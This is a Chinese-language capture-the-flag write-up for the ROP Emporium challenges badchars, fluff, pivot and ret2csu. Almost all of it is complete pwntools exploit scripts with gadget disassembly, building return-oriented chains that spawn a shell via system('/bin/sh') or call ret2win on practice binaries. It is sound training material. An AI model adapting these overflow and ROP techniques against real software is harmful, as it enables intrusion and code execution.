ROP Emporium 第二部分
badchars 不可以输入一些可见字符,但是存在异或相关的gadget
因此我们可以先和将/bin/sh\x00与某个数异或后写入缓冲区,然后再通过gadget将其异或回来,最后达成利用
x86 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from  pwn import  *'''  8048890:       30 0b                   xor    %cl,(%ebx)  8048892:       c3                      ret  8048893:       89 37                   mov    %esi,(%edi)  8048895:       c3                      ret  8048896:       5b                      pop    %ebx  8048897:       59                      pop    %ecx  8048898:       c3                      ret  8048899:       5e                      pop    %esi  804889a:       5f                      pop    %edi  804889b:       c3                      ret  804889c:       66 90                   xchg   %ax,%ax  804889e:       66 90                   xchg   %ax,%ax ''' context.log_level = 'debug'  s = '/bin/sh\x00'  xor_byte = 0x31  xor_binsh = ''  for  i in  range(8 ):    xor_binsh += chr(ord(s[i])^xor_byte) xor_binsh = xor_binsh.encode() data_addr = 0x804a038  xor_ptr_ebx_cl_ret = 0x8048890  mov_ptr_edi_esi_ret = 0x8048893  pop_ebx_ecx_ret = 0x8048896  pop_esi_edi_ret = 0x8048899  p = process('./badchars32' ) elf = ELF('./badchars32' ) system_addr = elf.symbols['system' ] payload = b'a' *44  payload += p32(pop_esi_edi_ret)+xor_binsh[0 :4 ]+p32(data_addr)+p32(mov_ptr_edi_esi_ret) payload += p32(pop_esi_edi_ret)+xor_binsh[4 :]+p32(data_addr+4 )+p32(mov_ptr_edi_esi_ret) for  i in  range(8 ):    payload += p32(pop_ebx_ecx_ret)+p32(data_addr+i)+p32(xor_byte)+p32(xor_ptr_ebx_cl_ret) payload += p32(system_addr)+p32(0xdeafbeaf )+p32(data_addr) p.recvuntil('\n>' ) p.sendline(payload) p.interactive() 
x64 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 ''' 0000000000400b30 <usefulGadgets>:   400b30:       45 30 37                xor    %r14b,(%r15)   400b33:       c3                      retq   400b34:       4d 89 65 00             mov    %r12,0x0(%r13)   400b38:       c3                      retq   400b39:       5f                      pop    %rdi   400b3a:       c3                      retq   400b3b:       41 5c                   pop    %r12   400b3d:       41 5d                   pop    %r13   400b3f:       c3                      retq   400b40:       41 5e                   pop    %r14   400b42:       41 5f                   pop    %r15   400b44:       c3                      retq   400b45:       66 2e 0f 1f 84 00 00    nopw   %cs:0x0(%rax,%rax,1)   400b4c:       00 00 00   400b4f:       90                      nop ''' from  pwn import  *p = process('./badchars' ) elf = ELF('./badchars' ) system_addr = elf.symbols['system' ] data_addr = 0x601070  xor_ptr_r15_r14_ret = 0x400b30  mov_ptr_r13_r12_ret = 0x400b34  pop_rdi_ret = 0x400b39  pop_r12_r13_ret = 0x400b3b  pop_r14_r15_ret = 0x400b40  binsh = '/bin/sh\x00'  xor_byte = 0x44  xor_binsh = ''  for  i in  range(8 ):    xor_binsh+=chr(ord(binsh[i])^xor_byte) xor_binsh = xor_binsh.encode() payload = b'a' *40  payload += p64(pop_r12_r13_ret)+xor_binsh+p64(data_addr)+p64(mov_ptr_r13_r12_ret) for  i in  range(0 ,8 ):    payload += p64(pop_r14_r15_ret)+p64(xor_byte)+p64(data_addr+i)+p64(xor_ptr_r15_r14_ret) payload += p64(pop_rdi_ret)+p64(data_addr)+p64(system_addr) p.recvuntil('>' ) p.sendline(payload) p.interactive() 
fluff 无法一次性写入/bin/sh\x00,所以我们利用gadget可以分次写入
x86 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 ''' 08048670 <questionableGadgets>:  8048670:       5f                      pop    %edi  8048671:       31 d2                   xor    %edx,%edx  8048673:       5e                      pop    %esi  8048674:       bd be ba fe ca          mov    $0xcafebabe,%ebp  8048679:       c3                      ret  804867a:       5e                      pop    %esi  804867b:       31 da                   xor    %ebx,%edx  804867d:       5d                      pop    %ebp  804867e:       bf be ba ad de          mov    $0xdeadbabe,%edi  8048683:       c3                      ret  8048684:       bf ef be ad de          mov    $0xdeadbeef,%edi  8048689:       87 ca                   xchg   %ecx,%edx  804868b:       5d                      pop    %ebp  804868c:       ba d0 ce fa de          mov    $0xdefaced0,%edx  8048691:       c3                      ret  8048692:       5f                      pop    %edi  8048693:       89 11                   mov    %edx,(%ecx)  8048695:       5d                      pop    %ebp  8048696:       5b                      pop    %ebx  8048697:       30 19                   xor    %bl,(%ecx)  8048699:       c3                      ret  804869a:       66 90                   xchg   %ax,%ax  804869c:       66 90                   xchg   %ax,%ax  804869e:       66 90                   xchg   %ax,%ax ''' from  pwn import  *context.log_level = 'debug'  p = process('./fluff32' ) elf = ELF('./fluff32' ) system_addr = elf.symbols['system' ] data_addr = 0x804a028  mov_ptr_ecx_edx= 0x8048693  pop_ebx = 0x80483e1  xor_edx_edx = 0x8048671  xor_edx_ebx = 0x804867b  xchg_edx_ecx = 0x8048689  binsh = b'/bin/sh\x00'  def  payload_write (data,addr) :    payload = b''           payload += p32(xor_edx_edx)+p32(deadbeaf)     payload += p32(pop_ebx)     payload += p32(addr)     payload += p32(xor_edx_ebx)+p32(deadbeaf)     payload += p32(xchg_edx_ecx)+p32(deadbeaf)          payload += p32(xor_edx_edx)+p32(deadbeaf)     payload += p32(pop_ebx)     payload += data     payload += p32(xor_edx_ebx)+p32(deadbeaf)          payload += p32(mov_ptr_ecx_edx)+p32(deadbeaf)+p32(0 )     return  payload deadbeaf = 0xdeafbeaf  payload = b'a' *44  payload += payload_write(binsh[0 :4 ],data_addr) payload += payload_write(binsh[4 :],data_addr+4 ) payload += p32(system_addr)+p32(deadbeaf)+p32(data_addr) p.recvuntil('>' ) p.sendline(payload) p.interactive() 
x64 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 ''' 0000000000400820 <questionableGadgets>:   400820:       41 5f                   pop    %r15   400822:       4d 31 db                xor    %r11,%r11   400825:       41 5e                   pop    %r14   400827:       bf 50 10 60 00          mov    $0x601050,%edi   40082c:       c3                      retq   40082d:       41 5e                   pop    %r14   40082f:       4d 31 e3                xor    %r12,%r11   400832:       41 5c                   pop    %r12   400834:       41 bd 60 40 60 00       mov    $0x604060,%r13d   40083a:       c3                      retq   40083b:       bf 50 10 60 00          mov    $0x601050,%edi   400840:       4d 87 d3                xchg   %r10,%r11   400843:       41 5f                   pop    %r15   400845:       41 bb 50 20 60 00       mov    $0x602050,%r11d   40084b:       c3                      retq   40084c:       41 5f                   pop    %r15   40084e:       4d 89 1a                mov    %r11,(%r10)   400851:       41 5d                   pop    %r13   400853:       41 5c                   pop    %r12   400855:       45 30 22                xor    %r12b,(%r10)   400858:       c3                      retq   400859:       0f 1f 80 00 00 00 00    nopl   0x0(%rax) ''' from  pwn import  *context.log_level = 'debug'  p = process('./fluff' ) elf = ELF('./fluff' ) system_addr = elf.symbols['system' ] data_addr = 0x601050  xor_r11_r11 = 0x400822  xor_r11_r12 = 0x40082f  xchg_r11_r10 = 0x400840  mov_ptr_r10_r11 = 0x40084e  pop_r12 = 0x400832  deadbeaf = 0xdeadbeaf  payload = b'a' *40  binsh = b'/bin/sh\x00'  payload += p64(xor_r11_r11)+p64(deadbeaf) payload += p64(pop_r12) payload += p64(data_addr) payload += p64(xor_r11_r12)+p64(deadbeaf) payload += p64(xchg_r11_r10)+p64(deadbeaf) payload += p64(xor_r11_r11)+p64(deadbeaf) payload += p64(pop_r12) payload += binsh payload += p64(xor_r11_r12)+p64(deadbeaf) payload += p64(mov_ptr_r10_r11)+p64(deadbeaf)+p64(0 ) payload += p64(0x4008c3 )+p64(data_addr)+p64(system_addr) p.recvuntil('>' ) p.sendline(payload) p.interactive() 
pivot 栈溢出长度太短,因此选择通过stack pivoting达成利用
x86 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from  pwn import  *context.log_level = 'debug'  ''' 080488c0 <usefulGadgets>:  80488c0:       58                      pop    %eax  80488c1:       c3                      ret  80488c2:       94                      xchg   %eax,%esp  80488c3:       c3                      ret  80488c4:       8b 00                   mov    (%eax),%eax  80488c6:       c3                      ret  80488c7:       01 d8                   add    %ebx,%eax  80488c9:       c3                      ret  80488ca:       66 90                   xchg   %ax,%ax  80488cc:       66 90                   xchg   %ax,%ax  80488ce:       66 90                   xchg   %ax,%ax ''' p = process('./pivot32' ) elf = ELF('./pivot32' ) libp = ELF('./libpivot32.so' ) foothold_function_plt = elf.plt['foothold_function' ] foothold_function_got = elf.got['foothold_function' ] foothold_function_addr = libp.symbols['foothold_function' ] ret2win_addr = libp.symbols['ret2win' ] offset = ret2win_addr - foothold_function_addr pop_eax= 0x80488c0  xchg_esp_eax = 0x80488c2  mov_ptr_eax_eax = 0x80488c4  add_eax_ebx = 0x80488c7  call_eax = 0x80486a3  pop_ebx=0x8048571  leave_ret = 0x80486a8  p.recvuntil('The Old Gods kindly bestow upon you a place to pivot: ' ) pivot_addr = int(p.recv(10 ),16 ) print(hex(pivot_addr)) payload = b''  payload += p32(foothold_function_plt) payload += p32(pop_eax) payload += p32(foothold_function_got) payload += p32(mov_ptr_eax_eax) payload += p32(pop_ebx) payload += p32(offset) payload += p32(add_eax_ebx) payload += p32(call_eax) p.sendline(payload) p.recv() payload = b'a' *40  payload += p32(pivot_addr-4 ) payload += p32(leave_ret) p.sendline(payload) p.interactive() 
x64 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from  pwn import  *context.log_level = 'debug'  ''' 0000000000400ae2 <uselessFunction>:   400ae2:	55                   	push   %rbp   400ae3:	48 89 e5             	mov    %rsp,%rbp   400ae6:	b8 00 00 00 00       	mov    $0x0,%eax   400aeb:	e8 60 fd ff ff       	callq  400850 <foothold_function@plt>   400af0:	bf 01 00 00 00       	mov    $0x1,%edi   400af5:	e8 86 fd ff ff       	callq  400880 <exit@plt>   400afa:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1) 0000000000400b00 <usefulGadgets>:   400b00:	58                   	pop    %rax   400b01:	c3                   	retq   400b02:	48 94                	xchg   %rax,%rsp   400b04:	c3                   	retq   400b05:	48 8b 00             	mov    (%rax),%rax   400b08:	c3                   	retq   400b09:	48 01 e8             	add    %rbp,%rax   400b0c:	c3                   	retq   400b0d:	0f 1f 00             	nopl   (%rax) ''' p = process('./pivot' ) elf = ELF('./pivot' ) libp = ELF('./libpivot.so' ) foothold_function_plt = elf.plt['foothold_function' ] foothold_function_got = elf.got['foothold_function' ] foothold_function_addr = libp.symbols['foothold_function' ] ret2win_addr = libp.symbols['ret2win' ] offset = ret2win_addr - foothold_function_addr pop_rax= 0x400b00  xchg_rsp_rax = 0x400b02  mov_ptr_rax_rax = 0x400b05  add_rax_rbp = 0x400b09  call_rax = 0x40098e  pop_rbp=0x400900  leave_ret = 0x400ae0  p.recvuntil('The Old Gods kindly bestow upon you a place to pivot: ' ) pivot_addr = int(p.recv(14 ),16 ) print(hex(pivot_addr)) payload = b''  payload += p64(foothold_function_plt) payload += p64(pop_rax) payload += p64(foothold_function_got) payload += p64(mov_ptr_rax_rax) payload += p64(pop_rbp) payload += p64(offset) payload += p64(add_rax_rbp) payload += p64(call_rax) p.sendline(payload) p.recv() payload = b'a' *40  payload += p64(pop_rax) payload += p64(pivot_addr) payload += p64(xchg_rsp_rax) p.sendline(payload) p.interactive() 
ret2csu ret2csu,原理参考ctf-wiki,中级ROP章节。
但是在pwnme函数中,将GOT表都置零了,所以需要先调用frame_init进行初始化
x64 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from  pwn import  *''' 0xdeadcafebabebeef ''' '''   400880:       4c 89 fa                mov    %r15,%rdx   400883:       4c 89 f6                mov    %r14,%rsi   400886:       44 89 ef                mov    %r13d,%edi   400889:       41 ff 14 dc             callq  *(%r12,%rbx,8)   40088d:       48 83 c3 01             add    $0x1,%rbx   400891:       48 39 dd                cmp    %rbx,%rbp   400894:       75 ea                   jne    400880 <__libc_csu_init+0x40>   400896:       48 83 c4 08             add    $0x8,%rsp   40089a:       5b                      pop    %rbx   40089b:       5d                      pop    %rbp   40089c:       41 5c                   pop    %r12   40089e:       41 5d                   pop    %r13   4008a0:       41 5e                   pop    %r14   4008a2:       41 5f                   pop    %r15   4008a4:       c3                      retq ''' p = process('./ret2csu' ) rdx=0xdeadcafebabebeef  init = 0x600E10  csu_1 = 0x400880  csu_2 = 0x40089a  ret2win = 0x4007B1  payload = 0x20 *b'a'  payload += p64(0 )   payload += p64(csu_2) payload += p64(0 )    payload += p64(1 )    payload += p64(init)    payload += p64(0 )    payload += p64(0 )    payload += p64(rdx)    payload += p64(csu_1) payload += p64(0 )    payload += p64(0 )    payload += p64(0 )    payload += p64(0 )    payload += p64(0 )    payload += p64(0 )    payload += p64(0 )    payload += p64(ret2win) p.sendline(payload) p.interactive()